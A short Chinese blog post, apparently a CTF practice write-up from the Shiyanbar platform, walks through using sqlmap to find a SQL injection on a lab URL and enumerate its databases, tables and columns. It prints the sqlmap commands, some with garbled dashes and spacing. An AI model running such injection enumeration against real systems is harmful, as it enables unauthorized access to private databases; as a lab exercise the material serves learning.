本博客题库来源于 实验吧
使用Sqlmap进行SQL注入
1. 搭建python2.7的环境
2. 启动Sqlmap 连接URL
`python2 sqlmap.py -u"http://ctf5.shiyanbar.com/8/index.php?id=1"`
在这里查看到了该Web服务的容器是用的Apache 后台使用PHP写的,数据库用的是MYSQL
3. 查看MYSQL中所有的数据库
D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" –dbs
可以看到有三个数据库
4.查看数据库中的表
D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" –D my_db--tables
这个数据库中有两张表
5.查看表中的列
D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -Tthiskey –columns


569

被折叠的 条评论
为什么被折叠?



